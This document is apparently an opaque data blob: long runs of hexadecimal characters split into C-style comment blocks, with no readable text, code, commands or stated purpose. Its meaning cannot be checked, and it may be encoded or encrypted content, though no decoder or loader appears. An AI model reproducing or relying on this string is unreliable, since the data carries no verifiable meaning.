9196fe8eba9036d2daeea286fd25f2f5eeee590a6921355901848ad899a7fb9e2eee693444c22216feb079d0e82e4d8640dfd6665eda906ec21706249552dbe6f29780e082c1584f7327d9ff2e3cd077cf8920c93f7d5b25e4dcb59887ad4cc901c8901b5821e1ee84d5b94ca5b2518a7e8d82e2883d38f81f0a86615844cbfa8946eadbd26cc2431ac3b78f6ee5800dfb92ca5f74565a7deecb913b52898ccb5a23455095c1f7094e38215eb72b4d3f6e515e1ccf9e985a3c61d51dc5f98bc242f205a941e1d3daa2e4675f9ff9f031891c7b9e616f4ae0e61c3720b2fff3496c866f68157c19a2ef365a825f0425bea74712f943e848301408f6bde821ee175c325bfe011aec59683c806cf379921e3121c9daaefb1aafd0088ef0fc6abf05c1e0ea3ba9c482e76e7d45733deb12550f889d4f256dbca36c9832707b5812a19790c6b3fafff4754e243f0d3137b6753e32c4a76e83c14c9b59f028f0a9f6cc5437a33287fd33a05095ae76195bacf7a505753d37fb7fe1fbd88c9e5158baa56d7c78cf86395c928679925a6ee805d1ce17f86dc167513cbeafe692b966eb49fb74520f6b1d1d9e5fa225c6a25f0414375bb28173f3259fd9a2b59cf4ef61b95fdb689e0b8c5bafacbbe3fe31e7374f46bcc8cd38bdf31dee7b498879adea8ed5a2fc2441b0b9fbdf55ab1f191327628c5c0f8fbe643fdff70ca4e4033e7053f34cef30322a8819da5f8d0e02fc4f7ec6e00b076517b020d45194c5bda6d95726dd889caadb1286438527204f9ba34cca11ad6159588d78b8be9a05898d96ccac5b78ac53fbbb2a8ef0a29c80fbeed0cbe57459308a387c2700a5f587cc331c66909296cfa097dc7bad103844c9e6506a2af17b05d9f8b8abf86be16f1f211b5509a76ad103fb168ccb5216cf7fd7662c125f1bf31225df5161fbb608a81de6a35f45b872cae4da2c7b3d4d781ab6051a3852571582241172f69cfcaf83520215e47af56ca7f608903d2f8c9c2379542be593a54add48ef32a0d8acc44e4778dec67a1ce95b282158a101a715691f72215fc2a3b3fca31c6518e6e0da60653ffeeebf7e05a56c2bb11d483b8d17a0252306ac532d56b5afc572a3f424fec3304bdf70606683e326582848a0726c1b562ea4effe6fefeeea0ac9aec0771e282495b92b5f88248b9ed4b38e1d80a718053a58cb4528341d345f746ea13258b67190b3bf093276cef6d7081f69c16783df61ae902d818a4bee178099d6198727f3deec7741bb6dc96716fdc9a58b270103e2fd2641a7373c3b57463604c88ebb6507fe2*/
/*44fc369b1febf758ba5d41468f05e66408f15f54c54c8463fae89ee5935bbc3968ae5f60a9a634f419ab2fa5dae3bbe5b7ae68cf95cea6521c7c79086dfcb30dc1e6842034489071f141731f07826eee978f065c140733ba82cd5098429529fcab49636a205ed1789d41b0c384f64b9a3203f50a8c01ff642360ad695a54d386aa596c33b91f9163794a256413c1ae16084cc76b3d77a97e4f962c6fa720a35a698e3f8b4585e45cb7ff09efc2fd13bb8f9bc9ebc084ea86c79cb7a29690f380265882db5bb372960c93df9af2e2fe11836a22f787ea31951f4a72150f87ca848e45213cc550c25157cee72ae6f14532a3d035cca4a389d659914b5ea5ff4050c843d41957f976cd489598df035de31ffed1381a9286b6f3513b390384336140782ebcd410043f7ab665eacce7355439ebacc6f042c04a935528ccac27d7b61d524f6dc28911302183013f0c13bbc6301353b799634d50ce4f4f4c4b1c69cac4312280fd69c49784b9ea930ba75e7bc87775f9e30e6039bae250cca7fbb62c995b08dcbd299acc8644606ab4112d7543f5f3899ba2046a25036515e61e71f93b64b562433a4ff5caeacc09c0bd087394b31216ae1eabe34e32ca5f4f3bb707fa39edbdeb8041ad1b78700b4c2d764a542f6c7b1246d6110a6d4346c6e7cabb8a22e89088dd5df635ba9d97f6d5e437fb279f63c528ff4cafb12d1ed6db91cc9c03588ade008a2a2b951979bc7fbc151c9878216093a9a6bb1c2c804c99d592e28be36171bde94229a1e6e2aaa97d2f43ea7be90efef08a113c7f7ebf9912532be3b4aa3d095965b5e16f7a6610388b84058638296343a93b4370c105da358c14552c3833829c05f36d06acb3aaeb2a87900216416ee603a9f1fb9c62a2780c1837038da0a02756a825a87467a25904fa14ff7c471b73b2359f3123e827a58f222abb4cceb4f2ad1036c1975f1b713a07f02a4bc3c8b7467a587362f45dca7a78aa5d1731fd634189ba8db8d2ff2263ae43f2567a8a591aea3c031b43c869c777a05e26b195fa44f1e4343a50d8e5a3fca733120d2f8542d238c9441de90c17b24fb586d20f87d5016408d6ebff8e7f91cb53e90e99546d15e0b66acb75e790d4821386ff8448a4b4fb35ad80efaedeac3b39b47d33d822f60245781836516e7a29578e860e154cae80ca526ea07c1daf62c0f461514d03dc10d64bd7115a0974cacb6b7023847cc370e5872b0933be57abd440ddf4d8bc53723a24da160189d23da87b2b3471d05026367e5de6f382ee1166fb4548cc867d5ce1a9b48f4f48b23385b982c255575b81fc13c5739585a619e0ea13c835b5dd039b8f37fe4e4a213aca1ba6f41d6d3c572eb9be86fac3940909e58a10e2d37b48a0e31db090755f3c4dd6b999041a1e6753e593f43665b79f7b629ff6d165aa57661802e4cc15b9c8b3ae4ee2601743a53a8a08517900dc2d31e5aafbb7a2302f0d23a6f6781692de79487e5b4d49d697d4af84bc6b01e9b54113e85e7e4ba445fa81a13ad16a3c1296b202b16e760b4b2caf60295c748127bf5c3c1bc3844c3dd8b36a6ee2bc4bfe30df0ab4de2706e9734620b6953824aea6664efca91a2b52f8e84c2bc61cf81b015ec40bc1ef2109de7581a324277b0ee553587747542bbaf825cf9b0fa34b58a4f7d0d6e8f877b132c9df8c7f10f4e0b6d5b6d4857aaff1cb8d53c9d15ec550931debe1b1048d3c7e2415447a5157091e13232f56b32fb28c9815c7537d1954daebefc07a9f3ccf7ad2ece4234dff6900b8fe918055707dbc53acb20f6e6c61b2831d7c40c1b970a07f59161d01f618a44b8cea96a7913bddaae2d692079547715a7ae4b20ea797754571988ef4a65ec7932177d025189f26b3c97f82a297279cfa1f31ddbc55d27ea964c8aec21ef5e3038247268b5b9f3881bbe18dc0cfb61b08868d6c127d31ee1b429bdf0b5b326be8b47c4c5dfaa366770a522af2c33b6d3fa30f190a9da34c414222699dd1f105270d43795d9d51033dfcd42fe1082971a1ae995374881b28587c43dedd300720c7d5eb4d60450adb70eeb8a28b4e56f377d7d9ece63ea6f2ba0ecb9d5ac9c0322253dbd00884466f5e5e095492542621873caafd47470ca3b70592302a4d16614a7bda310220cd83cf6b101bc30c60309966a108eb13f8d1e6fc14fa778b4fd94ed7c65166290238f36a962505a1143348a06f7345207203e765e47bbe21a2014e6076ab92937264e5cbf60064950f3598731d8550285b245d13c74f54c8da58a4a0e5cf17867d1511e0689e25096546dad6d510ea2e19f351a921935ba6cb255eb5000613f681be30d4ebd09ed8619455dca5d1e54110301b3c299be7d5e71e967502d72c020854c1098a5bd835b30d78d0f6839d62f5bba48c647b4bee36030e706ec9206d03c920340e22f992e69c78b192beeb2289a780c7999722d64c16b4b9673c1a9111e72e53464610eef70490145cf013dfe19f57ea8c6738c2145d5d5c0d05ce885b72f205f15c415f61319d7da9462c1e44a136bd9bd222fc552f8a6080f36b039c592f8ffb8eb296571fe43d7eee88028a0abb67c499fa7adb5707e6dbd5ae1058a501774961c00708cab7fdadb2653c7277db8f338977d046ff6ef74fb687ecd0ae1214e0433bfa6bb06e61c2c6d9b2cb1c434d9464fee6ea1df9cb2f82e12398a4655264d35da5bbec52d2a5a808904a4ef96f453f8e2366bb186af166f704d771b7482871ddb0182eda74b1da38591a141f75e6f7ec9a2b35d74cae0ee1522288b014728edbefad744bfa8cfeb6c3a349323d05a41bf9*/
/*2c2e974437508656d2938211ce8636c0c7b2a5ded26171eb6e7296376bbe516fa8d670252c2d87cafd43ce5a4d1a059d61877d0de9b18b17211fcfa6c3df87e27535620f3c4000ddaaea8049ec021e1fa44596660ed2a0320c2e5bfc2306c44808df3d3f87e2e1136f97a7cd5742b379987a82f82dd3bc2daa7ff9f76620790bda96d97ffd89b2e3650ef2d872144c8a88e9737026dde1c2e06b5805b689a20c4e5f4387ad82ce89eb2b4f741e64cd9620fe8ef1eac8ff96ab78b820091d295bd5c6fad22e271e4abf42d4aaa1014a6f6362e5e84e9da5cd01f8a2b331deeb65a5766c0569663c088deb91dc23b7104520f153e88c0cdd05835a160823d980d89f4ba91bead9cb987a43456ca9dfe20704614a9dd76495c91900a2017227efc786bc6753e6eab957886b8c6ad6d03a3238e5ad92df66ea701a662723e19275378aa64280642656a189dbca3a0f7fc5e598b8b646827d6d4f7435b315380374503445de82900a4ee7c5c2fc6cb80232bd969b9fefe63cfa6e60abf2983025c4bbc5263d907b0c31a0b5dc7b53659d0643de938ade6232f7b99572f4371bb41dc27d11f2eb1b7bd8e1682eedb96660275fe8a8a84d144e40606efcd887b7caadb8d1e2e5ed7f977f17d6054f973cad45cc141505ed3be33bc039537b8050101f55ea7f383a6b5658be427aa5e681716ff6916fcb3a2be8e2528041cc874a6f657807bc878b9947bfb68fad5fc93cdf94fc17ed1d2f25013ab7a35f1425157904821bf748c39b2b757ca93f6ce57dcc4853b7b98a5538e4555970927a79f24d3f5e6b343d4f222cdf420ddf855249446aeef00abbb6d5f919edda0841bb23d7682b852773045b91dbab6279d530e5c202c1cc3f6f4acb9cba5f8db1e8ddce19e07d47a06a6255a2bf17c881a8c18a5d24a442398239c437db40c565f8f58b599af6bfd3ff2951c08c7a77f7ff46b1d1fcc5edbe776a4973548b637c8832359f9d56d820069230e0f53c3c3d2fb07b26bd4863c8fee732cbaf05ef420ac744ab74f7676365c68a1cc7dea246f24cd0f8b36e656fb61be39ff1e47f788edcb4377414e3236146df120c8594ff0c334fc193f03a6f7a07e9465b3e53992882fb7bec96ff9b6fee92829d4d51dda9080bf2d5749d5630c6e740a6235939e2e01842d842553d00f7ff93f28480fcc563f188f33d9cee021354179a6977c7fd97efbbf1c1d5fa61803461d6da60f3d24a342b25c317c0e93507d0d957added784065739b8870a8863fac218cc0bf21b7b63d82643dbf981493dceac0f24712520d8c51db44e120dda71ef0305cc2f93811c1feda726998b74ea25a68b7efbadc33a094e5dfda0e5e7d4ba9ce1b9e2c70048d1bb76f8069d876e1b5892d3ddf06e6458fa622ac3c051dbe4475d683ecd3ce828b79af5dbbeaa32d10f42a708ef2c44c7ee15ca51b363bc326db4d64d2123372efbd4bc5363bfd04d1880c39d54cf3ff812beeb014cc7b7c0a216f3907aa11a7d459d17903e18201689f784aebb65ebe503fba7bdf179a3c56672a39926ed8689a78dde9f6d6cfb592e87b64b0238c3ace92e0a5efce103596ae1af6a837986fe99cf11b5fcd2dd052c982540e0c2409ebfb126aa9f67e19d942521c5ea36aed7e86b2f6043e1c5d09c82b75ae8fac669dcce95b8f0ee10c1c28c001c444739e1881f1341dedd4f3231c0263262d81901234ab366e46280142a90a47f14bd2a285fd056a92627885233b5c8d8934dc8d6436c2f74da4a1467b391b31f53fcd256f9924c125661d0a8ad77c27ba5990ae0fba2319b40f977d7644e6023b8c6a6f7296ea6b74cb2f16b2e0d52ac135a961ea2668cb022f5352245b3e996c0cbba5c0cc7b0d6d73fad9872de597a08f19d4f849379f4fb9c86c25fb3e5d193bba045a60daeab65760f4881ef23e0c63df1bf3cf88116393bf09934819885e8954506a188e9c0b2d7394676a38603d675ce55d8aa4c766bd5c87fe863cffe0943b6e19c54b7e7c0660fa08caac40d6e949cfff88f7047361a9d0fb771e482f1883b64c0f5b60a79e3ccb971835c20cf077d3646b12fc52ac613dd1a5a880c964fb8ddec5b50102a2b66898bca48295d9230deebb3854a9fe41c9c5c598f47bf823cee8a93438cdb5357d2719421b9fdecfaccce7f8d0d521551d2f87c25c30f64281040475e6b4342ffab98d745a3f88e7a0ead6048d12f214faefa0675aeba3a4a807771821bb603c87282f98ef2b50a735bfe46ea00b8817ab5ea24507f51ccb53600458b1e07b9eda20e5f39358f4ce05dea1d5899ab6ae5a4405dc9a45ff1eef537bd081a3dfb2c21e51278e1e6ec0ac86d5f7345fd254bd6eb8fd85d7934affa048d6972d27ad6ea9b7e87fa516217ce24acd77b484d436116a14555ac1ccb6fd1d2d62b3634d39e1388ca1dcd2c6dc9277a008790f1b07d0356bb05be6269c646d6ed546929b91ccb722d891e2bc8199b69203e7eac2399e61335b68bfe80004b8a15e249e77ee8bd0df9ea532e49c76e5cda920c9190d6a1e89c03cc902ded66210dc28e0a0c8e90d599d16a06e7ef081cfdb8871bb60bfbdf30d4ae24b649b6bce24c63a2ef97161e4ba5077c981c2ee89d0f573f2f56c1070ed1ff634b41c3cdeb5dd09715d1c4a4dfedc1d36edd0b232c7f9888ba75c2ce7e8b0aa273a1029560f585c237ab991cf365ca633a25da64e0c48e169289537b50d9c2d7ff9de79aa018e6ab1b49bc39f7dd36513bb3cdb5046e7a336b26f400279a62d33057bc78fd1cdada5b44e7c96065b84f923924f2981aa8fbf00e63a943637d9af4a2040a*/
/*c831977a5a89bdee7673eb4b6c80b8fe426b9c7a769f8c73f9aacac399024db55fdfa61aee9a44b4bdbbb495c0a1817126bf1bb46ac57c84e71ed3b839c0de443e164f64c841da55f746fae9e0062ee15fc228831b745cb5ac8bd64b420697c29976374bc698c2cf714c303be237fa65b2ce70f05fd35cbd9d4138da7759d23a4e4cd3a2373dfbdc09cd681b05fca6a1dfdbe47555ec2937f5d667df9af8f31602aded4f59aaef21cc364f09e6f17740d0a6b421fd3ff1450740cac3450d213f5b2f3358f2a1b39381e864d69bb64f42e8ff9fb3fe3605d940cfd6df160f4b0e867bd0166695a68a4aa2d489112d0a731f72bbdb41fa17ce17f4b8bfceb88e10125632ab28f4e4f623d246d2ed9ac1ec938ea69193b735d270f893b8d8aaec1b79636a3ac9922a9d2584a8b5cd5bc6997108dcaec2246e2fad6d419ef81421a660d84b388f7b53ae7768234750ebd60add33d2a893a75e974cb7ab5e1dcdcc43a03470d0528c7ad9b2d4c3792683d8681ed5a816d4e017d46f2676a38c97d8c11f0adc90be9831c489e0d54d8aca409e5e88d5275f15819200493f594dc3fe46a61955ae1ab92de2ab07e03f62af7ba24bdb3a98c79353e6f6c1ed59b4506d3889df00f58b41768439c0f1fa81ecc04fde9edf3be4fb8e142cf2c8a28a981ad7d6e5c21d86efc322ca5670f6c71bf15879f422ad962969dd9f88975c82a2b358be2b904a32383325940de4a42a380d80512fd5ba145dab88607929c82bb9b8e151b209133f599c0895bf11f1bc762be250a319688c7e494f540c8c524ad0cb890fb2b82818ad7f8160e21f2ae9bdcf368fb884055662016e06017f5b979d6e45f9222b18980ea9ac8b878c7bd86a8d1bcaee5591462ed04ff3c15d4f4842fab7e967e4ade18bbde5794fe52f466480f5e0b9c0276cbf7c954f592c9d5f0d9e84c968af45fd3574aa8ec6b05b3a962f8d8e8cb6d1b3c6235c9d89fcc79b281a7151907015a2541840ed961e77dab0041e876144d418106eef30ccbba32556bf0705adedc02cfed9c40eff0426a8bb84184dbb8405fa2ef5b70f8fd0250b210a63d8f999c7362560dbf47e9f4104523ebfc022551b3b2ec92462eb85bf16efd11a5fb3066f0e592f3261ced70db4ee70367c460a983879b37c0df88c350e212430bf9902d9bd76955ae6dc38576449f079d29129b39416a5a8db9eb93d26df52a80c74d27e063495e4f55f915e5ab6e52563b0aef673fe669e6f0de6010db16a183485d04366537f05d2175a8dd643158bbe4dbdcbac1516a32416994329f3be1834ffb4bd158ab7ad4161e88f07238a2d947dc3ebe78c1dbf826516ddd072bb2b1cd1d4962fb4c54d459bdd36cd088dc92c17f68abf0e7e8382995a52bda1463061b6b12b7756fab48749e1b4b7dc88448694d2652d2eb1101e7168e31615a8531f9fd37f561aabeef4da8dfffc3beb9136c7c367be89a24609535fe6c05f658ac41096d6a6f14f3a54a0cf9b824c67693a4b525b25e3795abfacb58c48953e9bae5f54881ff6aeb8372330bdd18fe87e011c0e1bedbd71345677181f598206880f760c73ba25a50139f5a822f226d8dc99413a8c3fad6e03a90e6e18b79ba78bee50b492882bc6c38cbfd1d3f56ed3ba5415b26d17653dbae5092ae68c112960c40f593fbccd3b71f7cac156d67df31066cd8b9d684d4fb55955b5023ef0d52b15127444ac921a0b4ad0c24cf4407fda49709ee8610f3c9abf455dbc096e2742e53fe81393ada86fc5a194e7e1301ad0ea42402a14ad02e2256e0209b684c6d94f3eb2fa2394af0702553ad076580ff16b72ba80d42db59438827b6c5ee2bac70153b61469f7027d0190b5256a0d13654600780d07b5ed9e33d1a43416548d60b5c7b9a5253c51c16edf96dd4073c05e5c4a911a8ce837208e26f7391d6ffcf5e50c85cb3276ff3410946118f8a0ffc64af738a5e61f965877f4509b5361e3b8b8ef76e7efa10d4a68237a1beaafee2a9dcee83547b9695f04beabf0e8588bf06a50e90d38cade30701e7831f13a5705ddc8460bfff88268e3794755187fee3b089dab638860442383a22b6af883fd6506ba4275da4c06cd250a75561bf904a9f78def650035e118851c182b557702a9bbe02db47bdd0c1dcd65e3ce4a426a4e0933b983fb242376512e9b2064497d048398577d7e18e0659ad32c3a2c883ffca8af5a6e41589bc4ed4a3b1d571eb8e674bcf2c6a08cbce3d5259230122a0e54ca6583bf1daf7584b248b6aaa2991b6340e416d3d8cc98a445497482f74ef658f7abdc07b6021f2efeafd064213af087e201efded8cfe02d460e5714db1a6324bb87b87881070eb7d7b29ae761326433bba25fe239f4fc647c9a55b2f0cece74fa84446383580a97633c25e11bae6899d7e04ce80bc1d972697b1140b4f6aa7a1ef5b294d0f0c3571dcf4dc3fde2cdf23230896f33c99c5d671fb32f2bea458cd0a3fb982b334693a71fdd01d12c8c9df86aad0a9718938f290621f788620c70eb222a0a83194fcc30d633fd289fa57af2de9a84a84fb663f09fdebdc9a9730bcb08c4848d028b56be49325da10b6afb74355ad8baf949b01a8aa72d510542e20899a63b1fd302c16ab27508a08af6718bee0a1157f9ddd017987b22f163cab59bef3e8ca691bf92cf09ee1a47616de049a3b5e627778ee6a2b9382128acf0dceba27b32628423fd400ba5aede287c6deea9dfea2bf0f86adc9dc5808632d2a59f07473d40f232c991f5ff4bdb5fe08142e56511089b829ca695cef1bb75cdaf2295c67fdfedb09b3fa6f3184f7e0ad3*/
/*d9f66773da08cea8d167fe20b8c5fef7e7055f141a19e0a6b237072a29a0bd0f2c3bad2c904a6cf887b3140d44091c4c75569b294ee1f1905399a30ac01c9e03cded115c2c40daaffe38214fd42f32f936a661b6be93f71cc36c45be5ef9c5eed1a00f60b927e879d5bd8a9bd999ab509985eb87e641a0b7cd1a26742563fa11914f6e6d1b10e67e0a2a2db6d0682e7a127cf0307a21b76a246cff8bb20b51ec1a404fa0c2af6f6415858d281d9d50bb49ea41e59f965cc1871c416041eeb07d2616b41096995916f3ecb79f242da88c75c2230eb31c767c72c269ace1d79effc2d4636b85af33bfb7b662c9344f3f932e290480f66e0a2316747a731cc9440b10f2f6ce10b28eb1c9d1ec50f4551bdc8e9fa0d82a8ffa26c97dee392aa5168846bfb326715b643b8e1b3b627d284c1483396a6f9271ccde92ada7aa9bda13673f31edd1d05c0227307b2a7e805f17e4d1757560b4a5d798aea92b39e4b8fce6a7909d9f92f8e48c10e60dce5fc811a9fdd800bb6785a922d97f1de1ba6741f2be9716def7ebb5a1d97c8194089604eebeb63a2635cf592709385d86244ca36c47c276cdc8e23a0dbf8e4fb2f88c47721780253381a8c5bc9e4c67324bb34e3abea183c35a1f9d070ad4d9a5481d427235574cc9acae82248549d263e5f1583f0afd6560e983d10375e55a72d25c4688680f15ad606097652650090e8048d63486aa90da79be8bdc09e46fc85b7d1a9659a212f7a7d6e812c228f4cbac0d586931c8b6f25766822835665e5e5be37998d9eb91d6450eea1341421859ad99fb100cfc6b7ecc9d003a87b5e01916a96bd716d00f7467f5e7f9708143ccd326a190ca6dd28f53c2ce5f819faeb8127789c68abd25e93321e9855cb3cdf6cacfb9e059442d85507604472cdd2c63ed7e7350cdee66783e871b621a1834e9b32111de4c51e3963a84fac8d08c40373e17dfcf6d07e817a629fd856d16e75c3a6c82f76a4796e6358bbb1c5a8d11dc125ff71f1c386099c7573f0962e967926482de35f6dedc00469e798093670e154c0c84cda55adde2712d2386c1fe03fb1b8ae85a6e7fb2487ee6cf1e67e905fa6bf61274ed92cf84ded23a2a04402779326f930e52c61a7f2166663522a7b795241cc65c861d4c56f670127626d155555530f083a8f50e2d98637daeafab43f935842c6dca40c83d8435b014548b1f4ce48db97e2ab6e946e0857ea05776148bb36e888959031c15c1d371c65f57930d2bd9c683b9cf5c5a60015bd77c2b50eb6ac622947d3925d726904014f2efd2189595d990169fd6b1006f8a68733c4a4e43474098a264b34b3e1d0079644ade8e4e02e921db0c70257de181975f161df51a078eca3fee9478389eceebf8be2aa2d87046fcfe58617774c1b46a06cf08f0d149a87d0b188004c0aac76f0bc28262ca78642fd771b1493db645b0105114c4b18b5eecaee7545bc02c46e905a37e6fc1ad78a7ae952abebcad9cdc971b0081bbc77e37b9ec1f3a59c1fe4a1ae48435a1bd69253a1f56b224c92847547a8e20d30e0a3f3311c22c573427ca589e7c953885a836f6248a462148ee3ea176767e14f65d945109b062bddfcb288af1bcf10b3960c3ea125992ad4fa0cedc6d33b93bc1f19b4793a2451c18e2d900b7f7305f0aa94ceec45f76184e0438644782583d90cbcb51c214070a09ac8a63fc787526b01a79a22178833d4005a4520145f11dc9e45136d767e819aa38e6e00295df54bb32b2956301fdeb7039aa1d49f1c1c278941c8af65fbb36ac84bf267d2c93500e5e5fc0fd348c2b30e77a40900394f3f3fbea53b925ff37a5ce8047d8710e9a7a85b8d1cf144edc6f574b713569abab417bf99f8b418259abf8ccd0fc3fd58f9f68ccbd083b057b6ae894bd5e035e5d8d2d330ca42cfc78a8c575894a2d8ee8c5eb10478644b6614c1c8f132af84ef087ff1070f917e4d8a52a4e0818e684297b13ec3cd392a6b9d303f486421016a3720e7591a7bff5fd075729e84a3579f0e1f3a29816da5f9c31190dcc39141eaf1b83d142acfa27287b28e12fc7ab13f81aeb883f90eaee597fd0f5dfabb33ee738d621c91136684a27bbceef4d3aa04a8a4e8605fdd5c4b34348b5c43d922a60103204ed9e875849828d0855e0d579614f4050d51e50d5e36e1c9c6a991a1433b7a6adcda6403c78414f63800815064ace2d54b30c48e5bb36feb53f8beeca6ad17c769a235e368f9f2ae92e5105b77d14114fb56eda6031ba17e7c1723fe885d434fc75725665c8da6c8e79be0c3552c5e2ed883443132541ac71d692d22dd41709401af9a9fe1d376b079a15c4b364901b1ee8a4deaeb818f7f05cab2f722d1bbc2d9c86aecf84ba9544c8654bd9cdebec13ef896dc9700c087ecfea655f9dc22e8de6ef7601d10bd9039b9f0558b4bb02f88d4639b0e6631964b12af62e874b30c8fe3e1be6b9f04e4a83688a321ce84f822bfb0188fb1baa039b116119c178bf2b0efedff3e14dff4f036c36c354ee5d6537a2740ffe540b330ef90f4166b705b573efa16697bef4b92ce721af8923b8524501d7228acb545e015a17c0f025adf99e17e4c533b04e15c31e5e548b1e5f88d62925e472dad62fe07d0e8695786375d1d28d408016e35f7234a52436579bb3de57af7ee05a36269848e70963b8697714772611509cbef6f0c3057da994f38c4120120a316f98a14914ba52875cf81089e801a793e3e34c42fec9972a7bb2688758fc5b6fe5f58bf67d619664af9b9f1a9b8e5c5294651ca19fa28b011146f2501f38730665d4e7b74e726601cc8fef*/
/*09d08a2b730ba849f0b9ec76bb9530dfaad13c46ab595fece45508be2db12d4d5bad05053ef57835d1e396958157b7b6b6f740dab7f149d07922b4d9a08ec499f0b775aa4855a04ac08c2695f7653be12c97a06fafdd2ee6c2d10421e70c58841413138d1600fc9bc2a27262d3429b3cf9335e34dedab5563d33ab4816ba548a08fdcd901b52b4f6efaf05f00fa5cce005ef3c9755ebd500bfc68ec5f3ea35989913223dfcf7b03ccaf2f8aa78bc5d86fa78aa0c8b5bf9ecf603d56f99f81f82b2bf0103041b5025477761a112467f0574bfb2a88a9c14740095ff04d3749ce8b2f4bffa466cf62b642d88096b94e680032659b394bd8d66611a4eb308aa2312d02f909779a93f78360f18bbc6b31f1d563f29f468166b4d206aef4c2f38e29e7506108df5ba0db0a2d057d4190e181cf2f2600cfe29af0014fa8a3450a5241d36f6d568f4227d55cb5a90734cae295633f95667d4f27fdc2f8a0a21b412a13d22229a16e0df9190b05c2216475e4549f462afb958fb7aaec86f9f074006deb907b388db5f1d4520e797c7ef1e38f7627eb3b64990c759efcda685f3aebafc22b6ed1229abb472bcf81b38eff556f8c48cfdd2feb8887e56945e766e9d18d478308456f17d12b940e313d8a80756494b5b5042747226f866bb62ae0a26d843ea09a7328b62ecc4cac9744770db66dc8bd5e4902f48f02fbd78957a3d79c4acf0810121a81c636fa887663c22a3a5f42bade24559b72645ac33d117d1a79b92864ddee9c3c6a273c5d895afff7cc231fd17af0cd7029d341e83309cd63daa317b55557c3888b3a0d8d36751e8c1715813d3e90e5c7997c894f90e457c3ba8191be054f7c159ad3862817bb9eba6d584b9300f893e7ca86e66fbf9a9904354e04a9ec79ec0e05cfea13d4e53d0eed85bd4b48c1db358242c49f532e5d953990062c64a111d6419601eec2b8bd047eb3516d691a50e972832fb5d116b7e695c8c20a1f06b24d8f25327f06cab28e78ab1e23140176f3aa8134781c0c4e1070b3ed25777a1a899bd59ef4a47f8f0414ab82429fecd40ab834b09759a0880476ec33f8253a48e5596c5cd5306efc3542957196728a48fcdbec218d0b5538eaf038f23c4272ddc05c27f0f6f977a77c01ed0921d71b481c87036c262cadfa797b14e1ae9de3d6962f2b812baa9c680c9f06e44e584597623b9c83c8af1761add79c8ca570864434dd19c54ce47bc62956b4a750219c7822e970d31a5d9b33732f721b1013e8e958f8fcb183fd1c6eda9d6f0da1a1924d7b5a04d6ab580c0a4530c1c079d194b7f788fd3371db153c0e6fd51cc0fe6179782710559022feaadfa87f61eea35e329238d85dca27097c58461f55174eeaa271ccd498d0c5b79840ab871cdb274b285d44aa23464d69c2c50b0ae4e4f585f4718e86dad602ac7a4242300f414eb0d73cc50d8b6edb8f78fc094de7af19e85525ba26c68ca7bde0cf12a7f1b5c2a86af3f52e98dfa5ad949ab9547c8b0fbb40c87ed95b70e8e962b868819d0e6e9e10cc34ead4da7cd61cd4ab0bd364488c888fa90681dac336a7cd0034638c596f559b823f84940dceea8fd23ffe503c564763ad10180d2c6bcbe2ef7b11b26a0a0ce7859d9038b7b7c6c8bac91e651bf8460e71b6afc15e4746ead19b0d469888b6ec9df23c3e24172338c82dc0c9860a0735a0c072f9befda6642f93fa3e40fedb1a64264cc394b72fca61934a67ea15d593d0e7ccb1897b3a2d4ae8499574ff78f6f2b8dd40d4b26dc4e3c60841c4c6e743a9c3088c6fce21b850020aae6a8a6ebcf241637c2eb9710e1ad1238c818ecb4f4feacb4bcf6c635ae4921d71d40b054ccfad7e5057d7451fcacf6699e87cbf0649e2ecd3dc0e732e238171a891c543a3fa705f22afd48186d2a408670cbdd3b3f3d04b5fb1dff904f4549a5f8ec38741fdda9bba39b9efb7855e5966b32582dade3dfeda4ff37d4874df6270bcf9babc546f237a6b51d712c4169f89de0aeecb98b3c717e4dd81bc51c27c98443975ed0736092a05ae9d75771e8ae66ba195e726c1ef6f1526b5621e642c55561783ce7bea5b5097a2b8e71132991c9e2e37bf727c75453cc38fc4429a79fc21edfb298c32f3aba4d2e2ccddcb0aeb44861e61df99a0dc9c7367e3add9e05a90677f72fa28f9b906b299eb2a605787de12f76a8d5e93cf809c38d725950598eee3841f8f11a1a7c2862f4941679d691915327fc57da2542ba81dad09e93c3c4f48e05c89f82722f1d1c5996e8888b810d7255b0d0e578281b29efbfc98776e1daa03da6831a11c75f67dbb5dcc4d20904946607628bcc7ee28ac7629fc00cf9130810968e95593e8638468d873bbbf08ef1d3d2be6b8344224affb90a674785991d7bccc6edfc068079d46a4fbdc00d4d3b02377ad3240ede6ed90c188858ca739279650eacf8cc33d0d77a063f84cfec4f907b1bacc2d328c8294186a222b391fbab72526ed34600d9bd22f21f7d928412cea7106747a210a83346d535a53ada619a035a20833fd3e8302842e4f01f0a4268fc7498b9595a4c5b638c2bc58eb4e906f6506e75cc2da1d511edf4ed4851fb844d4625f95d324df3ff3432ff4582dbfa33a7447aaf9a45497d06bde5eb608edcdf48e0344ffaf5f21e6f66520081042e79855e2bcf9284ee430c93e31b4d919eb786b3452a8289c83b94d06d93f727ee30929e5fc2f3b468dd2a27ca688cb7b80e40c59f73e1102381a6c2c031449aaea20f36e3de05e7dfa6b1460d7171049c86d2731f76f17689ac830e2cff1ada6955074c279245c2e806c57e24*/
/*6646c8597eb3036de7903c087dbaa0531d42755510a1ad7200369a0cd308cf993d64e74350b1643779262e328771e2d71cdd879fef96f872618dbf0f0979ca5b54d86bdf192b70a8c9adc22b028ffa6d0a64ffdaa503c35c0601ea5179c1de7fae6d3204ae2fb659e6dd04ff2a2531978e1820384297537853f2253bd46ae28c4472c6f88907d40d5e6758fa7ae7e66f34b5065c5bc09e023c930ee5680d5a42019cbd3813d64a07184349af3ad23dfca5aeb449cfb24dd1b55052a4e58f2543cb7a163729b5ef12f34f57e8334d7a24e6bc347b06f86680277075cf01b7e99a71701af66f78ad826deaf35a4f216f21039de23d33170ebade42d3613bfeffe8454e185ecac529a0cc0936c38733fd38b948f04ee4952c6b155285c3e9c71f14037cedc0f02a44eb7c17f5389fb28f4c32790119b911b0b5dcc45abe9fbc3dc9536461e6f97670e79f1492c7f10029acbccac4440a7580b8cdd3339ec9d0ef797b5784658c0d28f3ebbdfeb97755363f64f66852b2d9e39c655d98fcbf7fbe67a0210c2ff4d4f931aacae742677b59852a44663d9c428c787d0146f1b6a3873206b4e9b921ffc7a91d5d27e628b03df6893dfdf3f17a74d568b622f5a341e0090a9ec96c08f6217acec3439ec19d84fc424948e752d15606e90cad48af857bdeb1334af12ce0f9d1be58699dabdfe78bde8599e827871881ac50f042ea4e570fdb626f4172451ad2dde6478b34bcc7f79664d5e8c7694f731a063bab7f5f736aed4f294228f2ee232d9cee85de1c2e64d6770503b0bae8f2ee8dc8c5887c3c35c2499cdb682d